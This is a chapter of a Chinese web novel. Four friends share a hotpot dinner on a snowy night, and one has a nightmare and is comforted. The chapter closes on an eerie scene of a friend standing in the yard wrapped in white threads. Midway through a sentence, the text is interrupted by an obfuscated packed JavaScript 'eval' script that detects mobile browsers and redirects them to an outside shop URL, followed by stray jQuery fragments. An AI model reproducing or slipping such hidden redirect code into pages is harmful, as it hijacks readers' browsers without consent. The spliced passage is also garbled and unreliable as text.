58. 重聚

作品:《骸骨风筝

    “真香!”


    事实证明,孟惊鸥说的话和放屁似的,真把食物做好了放在他面前,他吃得比谁都快。


    在下雪的冬日里,没有什么比一顿火锅更让人感到幸福。


    饭是白飞光做的,姜浮本来自告奋勇要下厨,被赵万吉拦住了。


    “小浮。”赵万吉指了指厨房顶上铝板的凹陷,“你当时怎么答应我的?”


    姜浮心虚:“这不是不知道高压锅不能炖绿豆吗?也不怪我吧?”


    赵万吉:“不是绿豆的问题,是谁会把牛肉和绿豆一起炖……”当时姜浮说要炖牛肉问他可不可以。赵万吉还没经受过姜浮的毒打,心想炖牛肉有什么不可以,于是一口应下。直到高压锅的出口被绿豆堵住后爆炸……万幸当时姜浮不在厨房里,不然可能人已经没了。


    很难用言语形容当时赵万吉进到厨房里,看见锅盖嵌在天花板上的心情,但从那之后,姜浮就被剥夺了进厨房做饭的权力。


    姜浮还想解释,但被赵万吉剥夺了上诉权。倒是白飞光在二人辩驳时默默地穿好围裙,准备动手。


    让伤员做饭,显然很不人道,姜浮:“你还伤着呢,别做饭了,快去休息吧。”


    白飞光:“没事儿,就弄个锅底切切菜,很快的。”


    姜浮还想再说,却见他已经拿起刀开始切菜了,动作麻利,一看就是经常下厨的。


    “明天过节。”白飞光低着头,几个月没理发,他的头发也有点长了,不过并不潦草,还挺好看,侧着脸能看到他高挺的鼻梁,“我真没事,你去休息吧,一会儿就好。”


    姜浮在门边探出个脑袋,像只土拨鼠:“白飞光。”


    白飞光:“嗯?”


    姜浮:“我发现!”


    白飞光:“发现什么?”


    姜浮:“我发现你比刚见面的时候更好看了。”


    白飞光:“……”


    围观全程的赵万吉:“……”


    “去去去,小孩一边去,别来打扰大人做事。”


    小孩姜浮遗憾退场。


    **


    厨房里两人做饭,姜浮和孟惊鸥躺在沙发上看电视。


    外面在下雪,屋子里的地暖开着,暖烘烘的,姜浮去冰箱最底下摸啊摸,摸出根年代久远的冰棒,她怀疑这冰棍比她年纪都大。但问题不大,慷慨的掰了一半给孟惊鸥,结果两人都想要上半截,于是因为这茬又吵了一架。


    最后姜浮大获全胜,孟惊鸥被姜浮踩在脚下,耻辱地接受了下半截。


    “一点也不公平,我比你小,你应该让着我。”孟惊鸥这人也是很不要脸,打不过姜浮,平时连声姐都不肯叫,这会儿倚小卖小。


    姜浮说:“你比我小?脑仁儿比我小吗?”


    孟惊鸥:“姜浮,我不会再原谅你了!!”


    姜浮:“那你待会儿别吃我买的排骨。”


    孟惊鸥:“开玩笑的,其实我对你钦慕已久。”


    姜浮做了个呕吐的表情。


    屋子里热,两人都穿着短袖,姜浮看到孟惊鸥露在外面的手臂上又缠着绷带:“你手怎么了?”


    孟惊鸥:“哦,不小心伤到的。”


    姜浮:“还是倒霉?没一点好转?”


    孟惊鸥摇摇头。


    两人顿时都不说话,他们都以为孔姨的死会为这件事画上一个句号,但现在看来,他们想的太过简单。


    电视里播放着新闻联播,姜浮啃着冰棍发呆,温暖的空气熏得她昏昏欲睡,眼睛一搭一搭,还真的睡着了。


    **


    风,好大的风。


    在那灰白的平原上,从看不到尽头的地平线上席卷而来,一道闷雷滚过大地。没有草,更没有树,没有任何阻挡它们的东西。只有那漫天被卷起的泥沙和碎石,风像奔跑的野兽,呜咽嘶吼,仿若要吞噬一切。


    姜浮站在平原上,她好像变回幼年时的自己,单薄瘦弱,一头发黄的头发勉强扎起两个羊角辫,她独自一人,顶着狂风往前走。


    歌声,她听到了歌声,还是那个调子。


    “风吹啊吹,吹到大深渊。”


    “水流啊流,流到大深海。”


    歌声里,夹杂着人的啜泣,有人在哭,哭得好伤心,声音从头顶传来,姜浮抬头,却什么都没有看见。


    只有月亮。


    像瞳孔一样凝视着她,雪白明亮的月亮。


    “姜浮,姜浮。”有人呼唤她的名字。


    “姜浮,醒醒,吃饭了。”肩膀被轻轻地推着,眼皮却好似千斤重,怎么都睁不开。


    又被呼唤了好久,姜浮终于艰难地睁开眼睛,眼前是白飞光近在咫尺的脸,眉宇间浮着担忧。


    姜浮的思绪停留在梦境里,仿佛还是那个在平原上赤脚行走的小孩,她不知道自己该到哪里去,也不知道还要走多久,这种强烈的无助感,让姜浮对着眼前人探出手,做出一个请求拥抱的姿势。


    只是稍微一个愣神,白飞光便接受了姜浮的请求,他像个安慰小孩的大人,轻柔地将姜浮抱在怀中,轻轻地,拍着她的后背:“做噩梦了?”


    姜浮含糊道:“嗯。”


    白飞光:“梦到什么了?”


    姜浮:“梦到自己一个人……”


    她逐渐清醒过来,胸膛上传来温热的温度,和淡淡的衣物芬芳,荒凉的梦境褪去,她突然意识到,自己正被温柔地搂在怀里。


    姜浮侧目,看见了白飞光近在咫尺的侧脸,她低头,将脸埋进白飞光的怀里。


    白飞光感受到姜浮的动作,身体微微僵硬,呼吸也重了些,他低低唤她:“小浮……”


    姜浮说:“白飞光。”


    白飞光说:“在呢。”


    姜浮说:“你好像我妈妈。”


    白飞光:“?”


    姜浮:“我妈以前就这样安慰我……”


    白飞光:“……”


    姜浮:“把我抱得紧紧的。”她吸了吸鼻子。


    白飞光半晌没说话,最后有点自暴自弃的想妈妈就妈妈吧:“能让你开心就好。”


    姜浮:“那能在身上蹭一蹭吗?”


    蹭一蹭,你是猫吗?白飞光心里软了又软,还没来得及开口,就听到姜浮的下一句话:


    “鼻涕流出来了。”


    白飞光:“……”


    他闭上眼,几乎绝望地叹了口气:“蹭吧。”


    大概是他语气里的绝望太明显,姜浮最后良心发现还是没蹭,乖乖地坐好抽了张纸擦鼻涕。


    白飞光面无表情地坐在旁边,像个刚从幼儿园接自家小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915239|189134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朋友回家的家长。


    “你们两个干吗呢?”去上个厕所回来的孟惊鸥就看见这两个人一个双眼通红,一个面无表情,怎么看怎么不正常,孟惊鸥,“姜浮你眼睛怎么红了?白飞光你欺负她了?”


    白飞光心想我哪里来的本事欺负她,我只是不想当她的妈妈,他没开口,保持沉默。


    姜浮:“你管我。”


    孟惊鸥:“……”


    赵万吉从厨房出来:“你们三个在那干吗呢,吃饭了。”


    吃饭吃饭,世界上没有比吃饭更重要的事。


    特别是下雪的天气里,在温暖的屋内吃一顿美味的火锅。


    鲜美的骨头汤底,姜浮先喝了碗汤,喝得太快,烫得整张脸都皱在一起。


    赵万吉招呼她慢点吃。


    “这什么熬得,这么鲜?”姜浮问。


    “牛骨。”白飞光说,“自家配方,放了些香料。”


    “好喝。”姜浮赞赏。


    “喜欢就好。”白飞光笑道。


    四人都吃得很开心。


    酒足饭饱,姜浮和孟惊鸥去洗了碗,摸着自己圆滚滚的肚皮心满意足地上床睡觉。


    二楼卧室,洗完澡的姜浮像只虫子一样钻进柔软的被窝里。


    柔软的大床让她发出一声叹息,身体缩得紧紧,只露出半张脸方便呼吸。


    睡意如潮,铺天盖地地涌来。


    姜浮睡着了,她以为她会舒舒服服地一觉睡到第二天,但半夜里,姜浮突然被寒冷惊醒。


    原本紧闭的窗户不知为何被吹开一道缝,寒风裹挟着雪花灌入屋内,凛冽的风正扑打在姜浮的脸颊上,带来一股难以言喻的窒息感。


    屋外的世界寂静无比,明明在下雪,却听不到雪花簌簌落在地上的声音。


    黑暗中,姜浮打了个哆嗦。


    她从床上爬起,看见风把白色的窗帘掀起弧度,像女人美丽的裙摆。


    姜浮走到窗边,她窗外就是院子,院子里的灯依旧亮着,照出一个孤零零的背影。


    姜浮还以为自己看错了,她伸手重重揉了揉眼睛,背影并没有消失,从衣着上,姜浮认出了他的身份。


    是孟惊鸥。


    墙壁上挂着的钟表嘀嗒嘀嗒指向两点,姜浮靠近玻璃,凝视着院中的人。


    孟惊鸥肩膀和头顶上的积雪,告诉姜浮他已经在院子里站了很久,他一动也不动,像尊石膏铸成的雕塑,沉默又孤独地立在纷纷雪花里。


    姜浮的呼吸打在玻璃上,形成一团模糊的水雾,她擦了两次,索性将窗户完全打开,想要叫喊孟惊鸥的名字,问问他怎么了,怎么一个人站在雪地里发呆。


    拉开窗户,孟惊鸥三个字还在嘴里没吐出来,姜浮就发现了异样。


    她第一个反应是自己眼花了,再次狠狠地揉了揉自己的眼睛,力道大到似乎都要把眼球揉变形。


    可揉眼睛也不会让见到的一切发生任何变化。


    姜浮看见了。


    她看到站在雪地上的孟惊鸥,浑身上下,都缠满了白色的丝线。那些丝线像蛛网一样,密密麻麻地堆叠在他头上肩上,因为和雪的颜色接近,一时间几乎很难看清。


    那些线像命运,几乎要将他活埋,而他静默地站在那儿,仿若对一切都浑然不觉。